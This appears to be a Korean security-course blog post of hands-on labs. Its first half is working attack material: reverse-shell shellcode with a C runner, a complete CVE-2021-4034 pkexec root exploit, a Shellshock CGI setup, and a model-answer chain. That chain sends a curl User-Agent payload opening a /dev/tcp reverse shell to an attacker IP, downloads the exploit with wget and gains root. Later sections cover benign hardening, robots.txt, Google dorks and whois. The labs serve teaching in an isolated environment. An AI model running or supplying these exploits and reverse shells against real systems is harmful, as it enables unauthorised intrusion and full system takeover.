<img src="https://velog.velcdn.com/images/security_code/post/8567df67-8860-4c4f-b40e-03b153d46f40/image.png" alt=""></p>
<p>쉘코드</p>
<p>쉘 코드를 뽑아내는 지식 : 
리눅스, C언어, 어셈블리어, 시스템프로그래밍, BOF(Buffer Over Flow)</p>
<p>쉘코드란?
CPU가 실행하는 코드로 기계어 코드가 메모리(스택)에 올라가서 직접적으로 실행하는 코드를 말한다.</p>
<p>예전: 쉘을 실행하는 기계어 코드
현재: 모든 명령어를 실행하는 기계어 코드</p>
<p>쉘코드를 사용하는 곳 ?
시스템 해킹 분야에서 사용한다.
보안 취약점이 있는 프로그램을 공략하기 위해서 사용한다.</p>
<p>쉘코드를 실행파일에서 뽑아내는 방법
C언어로 소스코드로 프로그램을 작성 -&gt; 어셈블리어로 분석 -&gt; 기계어로 뽑아낸다.</p>
<p>뽑아낸 기계어코드를 가지고 공격코드에 활용한다.</p>
<p>쉘코드를 쉽게 뽑아내는 방법
metasploit 안에 있는 msfvenom을 이용해서 쉘코드를 추출할 수 있다.</p>
<p>쉘코드 데이터베이스
<a href="http://shell-storm.org/shellcode/">http://shell-storm.org/shellcode/</a></p>
<blockquote>
<p>*<em>실습&gt; Reverse Shell *</em></p>
</blockquote>
<pre><code>1. 소스 확보

http://shell-storm.org/shellcode/files/shellcode-857.php

/*
Title   : reversetcpbindshell  (118 bytes)
Date    : 04 October 2013
Author  : Russell Willis &lt;codinguy@gmail.com&gt;
Testd on: Linux/x86_64 (SMP Debian 3.2.46-1+deb7u1 x86_64 GNU/Linux)

$ objdump -D reversetcpbindshell -M intel
reversetcpbindshell:     file format elf64-x86-64
Disassembly of section .text:

0000000000400080 &lt;_start&gt;:
  400080:   48 31 c0                xor    rax,rax
  400083:   48 31 ff                xor    rdi,rdi
  400086:   48 31 f6                xor    rsi,rsi
  400089:   48 31 d2                xor    rdx,rdx
  40008c:   4d 31 c0                xor    r8,r8
  40008f:   6a 02                   push   0x2
  400091:   5f                      pop    rdi
  400092:   6a 01                   push   0x1
  400094:   5e                      pop    rsi
  400095:   6a 06                   push   0x6
  400097:   5a                      pop    rdx
  400098:   6a 29                   push   0x29
  40009a:   58                      pop    rax
  40009b:   0f 05                   syscall 
  40009d:   49 89 c0                mov    r8,rax
  4000a0:   48 31 f6                xor    rsi,rsi
  4000a3:   4d 31 d2                xor    r10,r10
  4000a6:   41 52                   push   r10
  4000a8:   c6 04 24 02             mov    BYTE PTR [rsp],0x2
  4000ac:   66 c7 44 24 02 7a 69    mov    WORD PTR [rsp+0x2],0x697a
  4000b3:   c7 44 24 04 0a 33 35    mov    DWORD PTR [rsp+0x4],0x435330a
  4000ba:   04 
  4000bb:   48 89 e6                mov    rsi,rsp
  4000be:   6a 10                   push   0x10
  4000c0:   5a                      pop    rdx
  4000c1:   41 50                   push   r8
  4000c3:   5f                      pop    rdi
  4000c4:   6a 2a                   push   0x2a
  4000c6:   58                      pop    rax
  4000c7:   0f 05                   syscall 
  4000c9:   48 31 f6                xor    rsi,rsi
  4000cc:   6a 03                   push   0x3
  4000ce:   5e                      pop    rsi
00000000004000cf &lt;doop&gt;:
  4000cf:   48 ff ce                dec    rsi
  4000d2:   6a 21                   push   0x21
  4000d4:   58                      pop    rax
  4000d5:   0f 05                   syscall 
  4000d7:   75 f6                   jne    4000cf &lt;doop&gt;
  4000d9:   48 31 ff                xor    rdi,rdi
  4000dc:   57                      push   rdi
  4000dd:   57                      push   rdi
  4000de:   5e                      pop    rsi
  4000df:   5a                      pop    rdx
  4000e0:   48 bf 2f 2f 62 69 6e    movabs rdi,0x68732f6e69622f2f
  4000e7:   2f 73 68 
  4000ea:   48 c1 ef 08             shr    rdi,0x8
  4000ee:   57                      push   rdi
  4000ef:   54                      push   rsp
  4000f0:   5f                      pop    rdi
  4000f1:   6a 3b                   push   0x3b
  4000f3:   58                      pop    rax
  4000f4:   0f 05                   syscall 

  Code not is not optimal, this is left as an exercise to the reader ;^)

*/

#include &lt;stdio.h&gt;

#define IPADDR &quot;\xc8\xc8\xc8\x06&quot; /* 200.200.200.10 */
#define PORT &quot;\x7a\x69&quot; /* 31337 */

unsigned char code[] = \
&quot;\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a&quot;
&quot;\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0&quot;
&quot;\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24&quot;
&quot;\x02&quot;PORT&quot;\xc7\x44\x24\x04&quot;IPADDR&quot;\x48\x89\xe6\x6a\x10&quot;
&quot;\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48&quot;
&quot;\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a&quot;
&quot;\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54&quot;
&quot;\x5f\x6a\x3b\x58\x0f\x05&quot;;

int
main(void)
{
    printf(&quot;Shellcode Length: %d\n&quot;, (int)sizeof(code)-1);
    int (*ret)() = (int(*)())code;
    ret();
    return 0;
}

2. 패키지 설치
CentOS 7에서 진행하고 gcc 관련 패키지를 설치한다.

[root@victim3 ~]# yum -y install gcc

3. 공격 파일 생성

[root@victim3 ~]# vi reverseShell.c
/*
 * 파일명: reverseShell.c
 * 출처: http://shell-storm.org/shellcode/files/shellcode-857.php
 * 작성자: 리눅스마스터넷
 */
#include &lt;stdio.h&gt;

#define IPADDR &quot;\xc8\xc8\xc8\x03&quot; /* 200.200.200.3 */
#define PORT &quot;\x7a\x69&quot; /* 31337 */

unsigned char code[] = \
&quot;\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a&quot;
&quot;\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0&quot;
&quot;\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24&quot;
&quot;\x02&quot;PORT&quot;\xc7\x44\x24\x04&quot;IPADDR&quot;\x48\x89\xe6\x6a\x10&quot;
&quot;\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48&quot;
&quot;\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a&quot;
&quot;\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54&quot;
&quot;\x5f\x6a\x3b\x58\x0f\x05&quot;;

int
main(void)
{
    printf(&quot;Shellcode Length: %d\n&quot;, (int)sizeof(code)-1);
    int (*ret)() = (int(*)())code;  // 함수 포인터
    ret();  // 함수포인터  실행
    return 0;
}


4. 컴파일
[root@victim3 ~]# gcc -o reverseShell reverseShell.c 
[root@victim3 ~]# file reverseShell
reverseShell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=d0c3f29d88e8d6f20e7398b658a1382d6863a569, not stripped

[root@kali ~]# nc -lvp 31337
listening on [any] 31337 ...

메모리 스택 영역에 올라간 쉘코드는 실행할 수 없어서 세그멘테이션 오류가 발생된다.
[root@victim3 ~]# ./reverseShell 
Shellcode Length: 118
세그멘테이션 오류


컴파일할 때 메모리(스택)에서 코드가 실행될 수 있도록 메모리 보호옵션을 해제한다.
-fno-stack-protector: 스택 프로텍터 제거
-z execstack: 스택에 올라가 있는 기계어 코드를 실행
-o reverseShell: reverseShell 실행 파일
[root@victim3 ~]# gcc -fno-stack-protector -z execstack -o reverseShell reverseShell.c

5. 방화벽 설정
Attacker &lt;------- Victim 연결이 되므로 방화벽을 설정한다.
[root@victim3 ~]# systemctl start firewalld
[root@victim3 ~]# iptables -nvL

6. 공격자 포트 대기
공격자가 31337 포트로 대기한다.
[root@kali ~]# nc -lvp 31337
listening on [any] 31337 ...

다른 터미널을 열어서 열린 포트 31337을 확인한다.
[root@kali ~]# netstat -nat|grep 31337
tcp        0      0 0.0.0.0:31337           0.0.0.0:*               LISTEN     

7. 공격 파일 실행
Victim이 reverseShell을 실행하면 Attacker에게 31337 포트로 연결해서 reverse shell 형태로 접속이 된다.
스택에서 200.200.200.3 8000 로 접속할 수 있는 이유는 컴파일할 때 메모리 보호 옵션을 제거했기 때문이다.
[root@victim3 ~]# ./reverseShell 
Shellcode Length: 118

[root@kali ~]# nc -lvp 31337
listening on [any] 31337 ...
connect to [200.200.200.3] from (UNKNOWN) [200.200.200.6] 47536
id
pwd
/root

8. 연결 확인
ss or netstat 명령어로 아래처럼 연결된 상태를 확인한다.
Attacker[31337]-----------[47536]Victim 

Attacker: 200.200.200.3
Victim: 200.200.200.6

  Attacker               Victim
+----------+        | +----------+
|          |        | |          |
|          |        | |     -p   |
|  31337 &lt;----------|----- 47536 [./reverseShell]
|          |        | |          |
|          |        | |          |
+----------+        | +----------+
     .3            f/w    .6
                       firewalld or iptables 활성화
          200.200.200.0/24

Victim에서 다른 터미널을 열어서 연결된 상태를 확인한다.
[root@victim3 ~]# ss -nat|grep 31337
ESTAB      0      0      200.200.200.6:47536              200.200.200.3:31337  

Attacker에서 다른 터미널을 열어서 연결된 상태를 확인한다.
[root@kali ~]# ss -nat|grep 31337
ESTAB  0      0      200.200.200.3:31337 200.200.200.6:47536  

</code></pre><blockquote>
<p>*<em>실습&gt; 리눅스 polkit 취약점 *</em></p>
</blockquote>
<pre><code>2021년에 나온 리눅스 취약점으로 CVE-2021-4034 로 명명되었다.
일반 유저가 실행해서 관리자 권한을 획득하는 권한 상승 취약점이 존재한다.

1. 사용자 로그인
사용자를 생성하고 user1@200.200.200.6 로 로그인한다.

# useradd -g wheel admin
# useradd -g users user1
# passwd user1
user1 사용자의 비밀 번호 변경 중
새  암호:
새  암호 재입력:
passwd: 모든 인증 토큰이 성공적으로 업데이트 되었습니다.

login as: user1
user1@200.200.200.6&#39;s password:
[user1@localhost ~]$

2. 공격코드 작성
evil-so.c 파일을 생성한다.
[user1@localhost ~]$ vi evil-so.c
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;

void gconv() {}

void gconv_init() {
    setuid(0);
    setgid(0);
    setgroups(0);

    execve(&quot;/bin/sh&quot;, NULL, NULL);
}

exploit.c 파일을 생성한다.
[user1@localhost ~]$ vi exploit.c
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

#define BIN &quot;/usr/bin/pkexec&quot;
#define DIR &quot;evildir&quot;
#define EVILSO &quot;evil&quot;

int main()
{
    char *envp[] = {
        DIR,
        &quot;PATH=GCONV_PATH=.&quot;,
        &quot;SHELL=ryaagard&quot;,
        &quot;CHARSET=ryaagard&quot;,
        NULL
    };
    char *argv[] = { NULL };

    system(&quot;mkdir GCONV_PATH=.&quot;);
    system(&quot;touch GCONV_PATH=./&quot; DIR &quot; &amp;&amp; chmod 777 GCONV_PATH=./&quot; DIR);
    system(&quot;mkdir &quot; DIR);
    system(&quot;echo &#39;module\tINTERNAL\t\t\tryaagard//\t\t\t&quot; EVILSO &quot;\t\t\t2&#39; &gt; &quot; DIR &quot;/gconv-modules&quot;);
    system(&quot;cp &quot; EVILSO &quot;.so &quot; DIR);

    execve(BIN, argv, envp);

    return 0;
}

Makefile을 생성한다.
[user1@localhost ~]$ vi Makefile
all:
    gcc -shared -o evil.so -fPIC evil-so.c
    gcc exploit.c -o exploit

clean:
    rm -r ./GCONV_PATH=. &amp;&amp; rm -r ./evildir &amp;&amp; rm exploit &amp;&amp; rm evil.so

[user1@localhost ~]$ ls
Makefile  evil-so.c  exploit.c

3. 컴파일
make 를 이용해서 컴파일하면 실행파일 exploit 파일과 라이브러리 evil.so 파일이 생성된다.
[user1@localhost ~]$ make
gcc -shared -o evil.so -fPIC evil-so.c
gcc exploit.c -o exploit
[user1@localhost ~]$ ls
Makefile  evil-so.c  evil.so  exploit  exploit.c

4. 로컬 권한 상승 공격
로컬 권한 상승(local privilege escalation)
[user1@localhost ~]$ id
uid=1001(user1) gid=100(users) groups=100(users) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[user1@localhost ~]$ ./exploit
[root@localhost user1]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@localhost user1]# exit
[user1@localhost ~]$ exit

실습&gt; Shell Shock

Shell Shock CVE-2014-6271 로 명명되었다.

1. 취약한 bash 설치
# yum -y install wget
# wget https://vault.centos.org/6.4/updates/x86_64/Packages/bash-4.1.2-15.el6_4.x86_64.rpm
# rpm -ivh bash-4.1.2-15.el6_4.x86_64.rpm --force

2. Shell Shock 취약점 확인
# env x=&#39;() { :;}; echo vulnerable&#39; bash -c &quot;echo this is a test&quot;
vulnerable      &lt;-- 취약한 부분
this is a test

3. 웹서버 설치
웹서버를 설치하고 방화벽을 중지한 후 웹서버를 시작한다.
# yum -y install httpd
# systemctl stop firewalld
# systemctl start httpd

4. 웹 페이지 생성
# cd /var/www/cgi-bin
# vi shellShock.cgi
#!/bin/bash
# 파일명: shellShock.cgi
# 프로그램 설명: Shell Shock 를 위한 CGI 프로그램
# 작성자: 리눅스마스터넷
# 작성일: 2023. 03. 04. (토) 10:40:34 KST

cat &lt;&lt; EOF
Content-type: text/html

&lt;html&gt;
&lt;head&gt;
 &lt;meta charset=&quot;utf-8&quot;&gt;
 &lt;title&gt; ::: Shell Shock CGI 취약점 ::: &lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
 웹서버에 오신 것을 환영합니다. &lt;br&gt;
 - 리눅스마스터넷 -
&lt;/body&gt;
&lt;/html&gt;
EOF

# chmod 755 shellShock.cgi

5. 웹 페이지 접근
Host OS에서 크롬을 이용해서 접속한다.
http://200.200.200.6/cgi-bin/shellShock.cgi
웹서버에 오신 것을 환영합니다.
- 리눅스마스터넷 -

Attacker# curl http://200.200.200.6/cgi-bin/shellShock.cgi
&lt;html&gt;
&lt;head&gt;
 &lt;meta charset=&quot;utf-8&quot;&gt;
 &lt;title&gt; ::: Shell Shock CGI 취약점 ::: &lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
 웹서버에 오신 것을 환영합니다. &lt;br&gt;
 - 리눅스마스터넷 -
&lt;/body&gt;
&lt;/html&gt;</code></pre><blockquote>
<p><strong>실습&gt; bash에서 Reverse Shell 연결 방법</strong></p>
</blockquote>
<pre><code>bash에서 Reverse Shell 연결 방법:
/bin/bash -i &gt;&amp; /dev/tcp/&lt;공격자&gt;/&lt;포트&gt; 0&gt;&amp;1

1. SELinux Off
Victim# setenforce 0
Victim# getenforce 
Permissive

2. 공격자 포트 대기
Attacker# nc -lvp 8000
listening on [any] 8000 ...

3. Reverse Shell 실행
/bin/bash를 이용해서 Reverse Shell을 공격자로 연결한다.

nc는 삭제했기 때문에 실행이 안된다.
Victim# nc 200.200.200.3 8000
-bash: nc: command not found

Victim# /bin/bash -i &gt;&amp; /dev/tcp/200.200.200.3/8000 0&gt;&amp;1

4. 연결 확인
Attacker# nc -lvp 8000
listening on [any] 8000 ...
200.200.200.6: inverse host lookup failed: Unknown host
connect to [200.200.200.3] from (UNKNOWN) [200.200.200.6] 55886
[root@localhost ~]# pwd
pwd
/root
[root@localhost ~]# id
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@localhost ~]# exit</code></pre><blockquote>
<p><strong>실습&gt; Kali Linux 설정 수정</strong></p>
</blockquote>
<pre><code>Kali Linux의 패키지를 받아오기 위해서는 /etc/apt/sources.list 파일을 열어서 https 라인을 넣어준다.
Attacker# vi /etc/apt/sources.list
# See https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/
deb http://http.kali.org/kali kali-rolling main contrib non-free
deb https://http.kali.org/kali kali-rolling main non-free contrib

# Additional line for source packages
# deb-src http://http.kali.org/kali kali-rolling main contrib non-free

Attacker# apt-get update
Attacker# apt -y install lynx</code></pre><blockquote>
<p><strong>실습&gt; Victim의 polkit 취약점을 이용한 관리자 권한 획득하기</strong></p>
</blockquote>
<pre><code>-- 조건 --
1. Victim&#39;s IP Address: 200.200.200.6
2. Attacker&#39;s IP Address: 200.200.200.3
3. Victim의 일반유저가 없다.
- userdel -r user1
4. polkit 취약점이 존재한다.
5. bash 의 Shell Shock 취약점이 존재한다.
-- 조건 --

1. 일반 유저 삭제
user1을 삭제한다.
Victim# userdel -r user1

2. 방화벽 중지
Victim# systemctl stop firewalld
Victim# iptables -F

3. 웹서버 실행
Victim# yum -y install httpd
Victim# systemctl start httpd

4. 취약한 bash 설치
Shell Shock 취약점이 존재하는 쉘을 설치한다.
# wget https://vault.centos.org/6.4/updates/x86_64/Packages/bash-4.1.2-15.el6_4.x86_64.rpm
# rpm -ivh bash-4.1.2-15.el6_4.x86_64.rpm --force
# env x=&#39;() { :;}; echo vulnerable&#39; bash -c &quot;echo this is a test&quot;
vulnerable
this is a test

5. CGI 프로그램 작성
Victim# cd /var/www/cgi-bin
Victim# vi shellShock.cgi
#!/bin/bash
# 파일명: shellShock.cgi
# 프로그램 설명: Shell Shock 를 위한 CGI 프로그램
# 작성자: 리눅스마스터넷
# 작성일: 2023. 03. 04. (토) 10:40:34 KST

cat &lt;&lt; EOF
Content-type: text/html

&lt;html&gt;
&lt;head&gt;
 &lt;meta charset=&quot;utf-8&quot;&gt;
 &lt;title&gt; ::: Shell Shock CGI 취약점 ::: &lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
 웹서버에 오신 것을 환영합니다. &lt;br&gt;
 - 리눅스마스터넷 -
&lt;/body&gt;
&lt;/html&gt;
EOF

Victim# chmod 755 shellShock.cgi

6. netcat 삭제
Victim# rm -f /usr/local/bin/*

7. wget 설치
Victim# yum -y install wget

8. gcc 삭제
Victim# yum -y remove gcc make

9. SELinux Off
Victim~# setenforce 0

10. 직접 실행
Attacker: 200.200.200.3 에서 Victim의 관리자 권한을 획득한다.
Attacker에서만 작업을 한다.

# wget --no-check-certificate linuxmaster.net/malware/polkit/evil.so 
# wget --no-check-certificate  linuxmaster.net/malware/polkit/exploit 


&gt;&gt;&gt; 모범 답안 &lt;&lt;&lt;
Attacker# nc -lvp 8000

Attacker# curl -H &#39;User-Agent: () { :; }; /bin/bash -i &gt;&amp; /dev/tcp/200.200.200.3/8000 0&gt;&amp;1&#39; \
http://200.200.200.6:80/cgi-bin/shellShock.cgi


Attacker# nc -lvp 8000
listening on [any] 8000 ...
200.200.200.6: inverse host lookup failed: Unknown host
connect to [200.200.200.3] from (UNKNOWN) [200.200.200.6] 55910
bash: no job control in this shell
bash-4.1$ cd /tmp
bash-4.1$ wget --no-check-certificate linuxmaster.net/malware/polkit/evil.so 
bash-4.1$ wget --no-check-certificate  linuxmaster.net/malware/polkit/exploit 
bash-4.1$ chmod 755 *
bash-4.1$ id       
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_sys_script_t:s0
bash-4.1$ ./exploit
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_sys_script_t:s0
</code></pre><p><strong>1. RFP 공지</strong>
<a href="https://ko.wikipedia.org/wiki/%EC%A0%9C%EC%95%88%EC%9A%94%EC%B2%AD%EC%84%9C">https://ko.wikipedia.org/wiki/제안요청서</a></p>
<p><strong>2. 제안서 작성 접수</strong>
입찰 업체가 작성한다.
회사 소개, 제안 요청에 대한 수행방안들을 작성해서 제출한다.</p>
<p><strong>3. 제안 발표</strong>
30분 정도 제안서를 작성한 내용을 토대로 발표자료를 만들어서 발표한다.
점수를 부여해서 1등을 한 업체가 선정된다.</p>
<p><strong>4. 계약 및 기술협상</strong>
담당자와 수행과제에 대한 범위를 기술협상을 통해서 얘기하고 계약한다.</p>
<p><strong>5. 프로젝트 수행</strong>
RFP에 제안된 내용을 기반으로 프로젝트를 수행한다.
프로젝트 수행 시 착수보고, 중간보고, 종료보고를 한다.</p>
<p><a href="https://ko.wikipedia.org/wiki/%EC%BC%80%EB%B9%88_%EB%AF%B8%ED%8A%B8%EB%8B%89">https://ko.wikipedia.org/wiki/케빈_미트닉</a></p>
<p>Defcon 해킹대회
공식 사이트: <a href="https://defcon.org/">https://defcon.org/</a></p>
<p>블랙햇 
공식 사이트: <a href="https://www.blackhat.com/">https://www.blackhat.com/</a></p>
<p>전세계 해킹대회의 상황을 알 수 있는 사이트
<a href="https://ctftime.org/">https://ctftime.org/</a></p>
<p>문제 풀이 보고서
<a href="https://ctftime.org/writeups">https://ctftime.org/writeups</a></p>
<p>이전 CTF 저장소 
<a href="https://shell-storm.org/repo/CTF/">https://shell-storm.org/repo/CTF/</a>
<a href="https://github.com/xenosf/CTF-Writeups">https://github.com/xenosf/CTF-Writeups</a></p>
<p>드림핵: 기초를 배울 수 있는 곳
<a href="https://dreamhack.io/">https://dreamhack.io/</a></p>
<p>해커스쿨
<a href="https://www.hackerschool.org/">https://www.hackerschool.org/</a></p>
<p>차세대 보안리더 양성 프로그램 (BOB)
<a href="https://www.kitribob.kr/">https://www.kitribob.kr/</a></p>
<p>해킹대회에서 출제되는 영역
-WEB 해킹
-Pwnable(시스템해킹)
-포렌식
-암호학
-리버싱(역공학)
-MISC (잡다한 문제들)</p>
<p>구글 검색: google dork 심정재 (2004년도 pdf문서)</p>
<p>intitle:index.of inurl:co.kr intext:이력서
intitle:관리자로그인</p>
<p>intext:&quot;nstallation of Global Honeypot System&quot; filetype:pdf</p>
<p>3개의 은행사이트가 모두 다른 것을 확인할 수 있다.</p>
<p><a href="https://www.kbstar.com/robots.txt">https://www.kbstar.com/robots.txt</a>
User-agent: *
Allow: /</p>
<p><a href="https://www.ibk.co.kr/robots.txt">https://www.ibk.co.kr/robots.txt</a>
User-agent: *
Disallow: /</p>
<p><a href="https://www.shinhan.com/robots.txt">https://www.shinhan.com/robots.txt</a>
해당페이지를 찾을 수 없습니다.
Page can not be found.</p>
<blockquote>
<p><strong>실습&gt; 디렉터리 인덱스 제거하기</strong></p>
</blockquote>
<pre><code>1. 웹서버 설치/시작
방화벽은 내려준다.
# yum -y install httpd
# systemctl stop firewalld
# systemctl start httpd
# cd /var/www/html

2. 웹서버 접속
index.html 페이지가 없으면 기본으로 보여주는 페이지이다.
http://200.200.200.6/
Testing 123..  
  :
  :

# vi /etc/httpd/conf/httpd.conf
  :
  :(생략)
# Load config files in the &quot;/etc/httpd/conf.d&quot; directory, if any.
IncludeOptional conf.d/*.conf

# vi /etc/httpd/conf.d/welcome.conf 
# 
# This configuration file enables the default &quot;Welcome&quot; page if there
# is no default index page present for the root URL.  To disable the
# Welcome page, comment out all the lines below. 
#
# NOTE: if this file is removed, it will be restored on upgrades.
#
&lt;LocationMatch &quot;^/+$&quot;&gt;
    Options -Indexes
    ErrorDocument 403 /.noindex.html
&lt;/LocationMatch&gt;

&lt;Directory /usr/share/httpd/noindex&gt;  &lt;-- index.html 파일이 없으면 보여지는 디렉터리
    AllowOverride None
    Require all granted
&lt;/Directory&gt;

Alias /.noindex.html /usr/share/httpd/noindex/index.html
Alias /noindex/css/bootstrap.min.css /usr/share/httpd/noindex/css/bootstrap.min.css
Alias /noindex/css/open-sans.css /usr/share/httpd/noindex/css/open-sans.css
Alias /images/apache_pb.gif /usr/share/httpd/noindex/images/apache_pb.gif
Alias /images/poweredby.png /usr/share/httpd/noindex/images/poweredby.png

index.html 파일이 없으면 보여지는 index.html
# vi /usr/share/httpd/noindex/index.html 
  :
  :(생략)

# cd /var/www/html/
# mkdir data
# cp /bin/a* data/
# ll data/
합계 1140
-rwxr-xr-x. 1 root root  52640  3월  6 21:59 ab
-rwxr-xr-x. 1 root root  29104  3월  6 21:59 addr2line
-rwxr-xr-x. 1 root root     29  3월  6 21:59 alias
-rwxr-xr-x. 1 root root  46584  3월  6 21:59 apropos
-rwxr-xr-x. 1 root root  62680  3월  6 21:59 ar
-rwxr-xr-x. 1 root root  33080  3월  6 21:59 arch
-rwxr-xr-x. 1 root root 386424  3월  6 21:59 as
-rwxr-xr-x. 1 root root  28888  3월  6 21:59 aserver
-rwxr-xr-x. 1 root root  15856  3월  6 21:59 aulast
-rwxr-xr-x. 1 root root  11624  3월  6 21:59 aulastlog
-rwxr-xr-x. 1 root root  11448  3월  6 21:59 ausyscall
-rwxr-xr-x. 1 root root  32696  3월  6 21:59 auvirt
-rwxr-xr-x. 1 root root 428584  3월  6 21:59 awk

/data 디렉터리가 디렉터리 리스팅이 보여진 이유는?
- 아파치 웹서버의 기본 설정이 디렉터리 리스팅 설정이 On 되어 있다.
- /data 디렉터리에 DirectoryIndex 지시어에 설정된 파일인 index.html 이 존재하지 않기 때문이다.
http://200.200.200.6/data/

Index of /data
[ICO]    Name                  Last modified    Size   Description
[PARENTDIR]    Parent Directory         -     
[   ]    ab                    2023-03-06 21:59 51K     
[   ]    addr2line             2023-03-06 21:59 28K     
[   ]    alias                 2023-03-06 21:59 29     
[   ]    apropos               2023-03-06 21:59 45K     
[   ]    ar                    2023-03-06 21:59 61K     
[   ]    arch                  2023-03-06 21:59 32K     
[   ]    as                    2023-03-06 21:59 377K     
[   ]    aserver               2023-03-06 21:59 28K     
[   ]    aulast                2023-03-06 21:59 15K     
[   ]    aulastlog             2023-03-06 21:59 11K     
[   ]    ausyscall             2023-03-06 21:59 11K     
[   ]    auvirt                2023-03-06 21:59 32K     
[   ]    awk                   2023-03-06 21:59 419K     

대응방안 (임시적 설정)
- /data 디렉터리에 index.html 파일을 생성하면 된다. 
# cd /var/www/html
# touch data/index.html

/data 디렉터리가 디렉터리 리스팅이 안보여진 이유는?
- /data 디렉터리에 DirectoryIndex 지시어에 설정된 파일인 index.html 이 존재하기 때문이다.
http://200.200.200.6/data/

대응방안 (영구적 설정)
- DirectoryIndex 지시어에 설정된 파일인 index.html이 없어도 보여지지 않게 설정한다.
- &lt;Directory &quot;/var/www/html&quot;&gt; 부분의 Options 에 Indexes를 제거한다.
# cd /var/www/html
# rm -f data/index.html

참고: http://httpd.apache.org/docs/2.4/mod/core.html#options
131번 라인의 &lt;Directory &quot;/var/www/html&quot;&gt; 부분의 Options None 으로 설정한다.
# vi /etc/httpd/conf/httpd.conf 

&lt;Directory &quot;/var/www/html&quot;&gt;
    # Options Indexes FollowSymLinks
    Options None
    AllowOverride None
    Require all granted 
&lt;/Directory&gt;

# systemctl reload httpd

http://200.200.200.6/data/
Forbidden
You don&#39;t have permission to access /data/ on this server.

# vi /etc/httpd/conf/httpd.conf 
ErrorDocument 403 /error.html    

# vi error.html
에러!!!
# systemctl reload httpd

http://200.200.200.6/data/
에러!!!</code></pre><blockquote>
<p><strong>실습&gt; robots.txt 파일 생성하기</strong></p>
</blockquote>
<pre><code>검색 로봇을 허용/막기 위해서 파일을 생성해서 설정한다.
일반적으로 알려진 검색 로봇끼리의 약속이다.
일반유저가 파이썬으로 작성한 크롤링 프로그램은 막을 수 없다.


1. 검색 로봇을 거부하는 경우 
# cd /var/www/html
# vi robots.txt
User-agent: *
Disallow: /

2. 검색 로봇을 허용하는 경우
# cd /var/www/html
# vi robots.txt
User-agent: *
Allow: /


3. 특정 검색 로봇을 허용하고 나머지는 모두 거부하는 경우
User-agent: Googlebot
Allow: /

User-agent: Yeti
Allow: /

User-agent: Daum 
Allow: /

User-agent: Bingbot  
Allow: /

User-agent: Slurp   
Allow: /

User-agent: Baiduspider    
Allow: /

User-agent: DuckDuckBot     
Allow: /

User-agent: * 
Disallow: / 

</code></pre><blockquote>
<p><strong>실습&gt; whois 설치하기</strong></p>
</blockquote>
<pre><code>1. 웹에서 검색
https://whois.kisa.or.kr https://후이즈검색.한국
https://xn--c79as89aj0e29b77z.xn--3e0b707e/

search: naver.com


2. 셸에서 검색
whois 패키지를 설치하면 도메인 검색을 셸상에서 바로 사용할 수 있다.
# yum -y install whois
# whois naver.com
   Domain Name: NAVER.COM
   Registry Domain ID: 793803_DOMAIN_COM-VRSN
   Registrar WHOIS Server: whois.gabia.com
   Registrar URL: http://www.gabia.com
   Updated Date: 2022-09-20T06:51:25Z
   Creation Date: 1997-09-12T04:00:00Z
   Registry Expiry Date: 2023-09-11T04:00:00Z
   Registrar: Gabia, Inc.
  :
  :(생략)


3. 포트를 이용한 직접 통신
# yum -y install nc
# nc whois.kisa.or.kr 43
daum.net
  :
  :(생략)

 ^C</code></pre><p><img src="https://velog.velcdn.com/images/security_code/post/9bc444e4-20b0-430e-9cec-2fbd9c29b2d2/image.png" alt=""></p>
<blockquote>
<p><strong>실습&gt; 파이썬을 이용한 통신 프로그램 제작하기</strong></p>
</blockquote>
<pre><code>소켓(네트워크 통신) 프로그래밍

참고 : 소켓 라이브러리 레퍼런스 
https://docs.python.org/2/library/socket.html
https://docs.python.org/3/library/socket.html

1. 서버 입장
- 서버 소켓(리스닝 소켓)
서버프로그램에서 서버소켓은 클라이언트로부터 연결 요청이 오기를 기다렸다가 연결 요청이 오면 
클라이언트와 연결을 맺고 클라이언트와 통신할 또다른 소켓(클라이언트 소켓)을 만드는 일을 한다.
클라이언트 소켓은 접속한 클라이언트와 데이터를 전송하는 일을 한다.

- 클라이언트 소켓(커넥션 소켓)
클라이언트와 통신을 하기 위한 소켓을 말한다. 
쉽게 말해 클라이언트와 통신하기 위한 통로라고 생각하면 된다. 

2. 클라이언트 입장
- 클라이언트 소켓(커넥션 소켓)
클라이언트 소켓은 서버와 통신하기 위해 생성한 소켓을 말한다.
클라이언트 프로그램에서 소켓은 서버로 연결을 요청하고 데이터를 전송하는 일을 한다.

